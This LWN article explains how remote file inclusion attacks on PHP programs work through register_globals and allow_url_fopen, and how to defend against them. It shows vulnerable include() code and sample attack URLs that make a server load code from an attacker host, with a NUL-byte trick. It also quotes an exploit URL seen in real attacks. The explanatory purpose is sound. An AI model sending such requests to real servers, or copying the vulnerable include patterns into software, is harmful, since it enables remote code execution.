Remote file inclusion vulnerabilities
A recent rash of reports to the bugtraq mailing list provides a nice confirmation of an article on this page two weeks ago. Google recently released a code search tool that is being used to find security holes in open source projects and the first target appears to be remote file inclusion (RFI) vulnerabilities in PHP programs. There has been a steady stream of vulnerability reports on security mailing lists as well as an increase in attempts to exploit them.
An attacker's fondest wish is to be able to run their code on the target system; an RFI exploit does just that. By exploiting two very dubious 'features' of the PHP language, an attacker can inject their code into a PHP program on the server. Once they can do that, they can access anything that the PHP program could: databases, password files, etc. They can install their own shell running with the privileges of the web server user (such as 'apache' or 'httpd') and if the server has not been patched for some local user privilege escalation vulnerability, the shell could be used to become the root user.
PHP is particularly susceptible to this kind of exploit because the default installation allows filesystem operations to 'automagically' open URLs as if they were local files (governed by the allow_url_fopen configuration parameter). This capability even works for what, seemingly, should be restricted to the local filesystem such as the 'include' and 'require' directives. If an attacker can manipulate the arguments to those directives, they can use a URL under their control as the argument and that is just what an RFI exploit does.
Consider the following:
include($base_path . "/foo.php");
If an attacker can control the value of the base_path variable,
they can replace it with something like
"http://example.com/badcode?foo=" and,
instead of picking up foo.php from the local filesystem, PHP will happily reach out
across the net to pick up the attacker's code. One of the ways that an
attacker can control the value of a variable in a PHP program is through
the use of the register_globals PHP mis-feature.
When register_globals is enabled in PHP, the language 'automagically' instantiates variables with values from the HTTP request and puts them in the namespace of the PHP program. This was originally seen as a nice convenience for getting the FORM values from the page, but has since been deprecated and is disabled by default. There are still a fair number of PHP programs that require it to be enabled in order to function correctly; with luck this number is decreasing, hopefully rapidly. When it is enabled, it allows an attacker to inject a value for any uninitialized variable in the program by simply adding it as a GET parameter at the end of the URL.
Using the example above, if base_path was uninitialized in some installations (for instance where the application was installed in the DocumentRoot), an attacker could request:
http://vulnerable.com/RFI.php?base_path=http://example.com/badcode?foo=
and PHP will fetch and execute the exploit code. The final question
mark and foo= in the URL is just to absorb the "/foo.php"
in the include directive; other techniques such as using %00 to
put a NUL byte at the end of the malicious URL are also possible.
Some PHP programmers are not content with being exploitable only when register_globals is on and have put code like the following into their applications:
include($_REQUEST['own_me'] . '/foo.php');
The _REQUEST 'superglobal' array in PHP stores all of the variables
that come in from the HTTP request, regardless of whether they come as a
GET or a POST variable. This one is easy to exploit by making a request
like:
http://vulnerable.com/RFI2.php?own_me=http://example.com/badcode%00
By disabling both register_globals and allow_url_fopen, these kinds of exploits can be avoided. Unfortunately, the latter also alters the behavior of filesystem functions that might more legitimately be used to fetch remote URLs. For this reason, it is enabled by default and cannot be disabled for proper functioning of some PHP applications. There have been too many exploitable uses of register_globals over the years for any security-minded PHP programmer to even consider enabling it. Other languages may also be susceptible to this kind of exploit, but PHP is certainly the target of the recently reported ones.
[Editor's note: the LWN server is currently seeing exploit attempts at a rate of nearly one per second, using URLs like:
http://lwn.net/Articles//master.php?root_path=http://webstorch.com//cap.txt?
No, it doesn't work here - but using wget to fetch the exploit file can
be instructive. There is a steady stream of file inclusion vulnerability
reports on lists like Bugtraq; if you are using PHP-based software, it
behooves you to pay attention.]
| Index entries for this article | |
|---|---|
| GuestArticles | Edge, Jake |